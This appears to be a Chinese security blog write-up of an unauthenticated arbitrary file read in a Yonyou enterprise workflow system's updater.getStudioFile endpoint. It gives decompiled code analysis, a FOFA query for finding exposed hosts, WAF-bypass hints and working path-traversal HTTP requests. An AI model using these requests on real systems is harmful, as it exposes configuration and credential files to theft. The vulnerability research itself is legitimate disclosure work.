时空智友企业流程化管控系统 updater.getStudioFile 任意文件读取漏洞


漏洞简介

用友时空智友企业流程化管控系统 updater.getStudioFile 接口存在任意文件读取漏洞,未经身份验证攻击者可通过该漏洞读取系统重要文件(如数据库配置文件、系统配置文件)、数据库配置文件等等,导致网站处于极度不安全状态。

fofa语法

body="login.jsp?login=null"

漏洞分析

根据漏洞通告直接搜索 getStudioFile 方法即可找到其业务逻辑实现如下

public void getStudioFile(HttpServletRequest object, HttpServletResponse httpServletResponse, String object2) {
    if (a) {
        throw new Exception("\u670d\u52a1\u5668\u5df2\u9501\u5b9a\uff0c\u6587\u4ef6\u65e0\u6cd5\u4e0b\u8f7d\u3002");
    }
    if (!((String)(object2 = ((String)object2).replace('/', '\\'))).startsWith("\\")) {
        object2 = "\\" + (String)object2;
    }
    FormStudioUpdater.a();
    object2 = String.valueOf(d) + (String)object2;
    object = new File((String)object2);
    if (!object.exists()) {
        throw new Exception("\u627e\u4e0d\u5230\u6307\u5b9a\u7684\u6587\u4ef6\uff1a" + (String)object2);
    }
    httpServletResponse.setContentType("application/octet-stream; charset=utf-8");
    httpServletResponse.setHeader("Content-Disposition", "attachment;filename=" + URLEncoder.encode((String)object2, "UTF-8"));
    object2 = null;
    ServletOutputStream servletOutputStream = null;
    try {
        try {
            int n2;
            object2 = new FileInputStream((File)object);
            object = new byte[4096];
            servletOutputStream = httpServletResponse.getOutputStream();
            while ((n2 = ((FileInputStream)object2).read((byte[])object)) != -1) {
                if (!a) {
                    servletOutputStream.write((byte[])object, 0, n2);
                    continue;
                }
                throw new Exception("\u670d\u52a1\u5668\u5df2\u9501\u5b9a\uff0c\u6587\u4ef6\u4e0b\u8f7d\u5931\u8d25\u3002");
            }
        }
        catch (Exception exception) {
            object = exception;
            throw exception;
        }
    }
    catch (Throwable throwable) {
        if (servletOutputStream != null) {
            servletOutputStream.flush();
            servletOutputStream.close();
        }
        if (object2 != null) {
            ((FileInputStream)object2).close();
        }
        throw throwable;
    }
    if (servletOutputStream != null) {
        servletOutputStream.flush();
        servletOutputStream.close();
    }
    ((FileInputStream)object2).close();
}

对 object2 中的/替换为\,并确保路径以\开头。然后判断是否存在文件路径,存在就直接读取文件内容并响应在body中,期间对 object2 无其余过滤或校验检查,因此造成任意文件读取漏洞。

需要注意的是请求格式,因为并不是走的URL参数,不支持 Content-Type: application/x-www-form-urlencoded 格式,支持其他格式 如 text/plain、application/json、application/pdf、application/zip、application/octet-stream 甚至是 multipart/form-data 及其变种畸形格式等,甚至不携带任何 Content-Type , 鉴于这种奇葩传参方式,可能还有多种绕过WAF姿势。

而 FormStudioUpdater.a() 逻辑如下

private static void a() {
    String string;
    if (d == null) {
        string = Configuration.getProperty((String)"updateformstudio");
        if (string == null) {
            string = Configuration.getRealPath((String)"/update/FormStudio");
        }
        d = string;
    }
    if (g == null) {
        string = Configuration.getProperty((String)"studiochangelog");
        if (string == null) {
            string = FileUtility.GetFullPath((String)d, (String)"changelog.txt");
        }
        g = string;
    }
}

主要是定义几个变量的值 没啥特殊处理。

漏洞复现

如果直接请求接口会报错,爆出物理路径

POST /formservice?service=updater.getStudioFile HTTP/1.1
Host: yonyou.mrxn.net
Content-Type: multipart/form-dataaaaaaa

---.

../../WEB-INF/web.xml

或者下面这种常规请求方式

POST /formservice?service=updater.getStudioFile HTTP/1.1
Host: yonyou.mrxn.net

..\..\WEB-INF\web.xml
POST /formservice?service=updater.getStudioFile HTTP/1.1
Host: yonyou.mrxn.net
Content-Type: multipart/form-data; boundary=----123456

------123456
Content-Disposition: form-data; name="object2"

../../WEB-INF/web.xml
------123456--

成功读取到 web.xml 文件内容


手机扫码阅读

时空智友企业流程化管控系统 updater.startUpdateStudio XXE漏洞

Synway SMG网关管理软件 9-12ping.php 远程代码执行漏洞(CVE-2025-1448)

评 论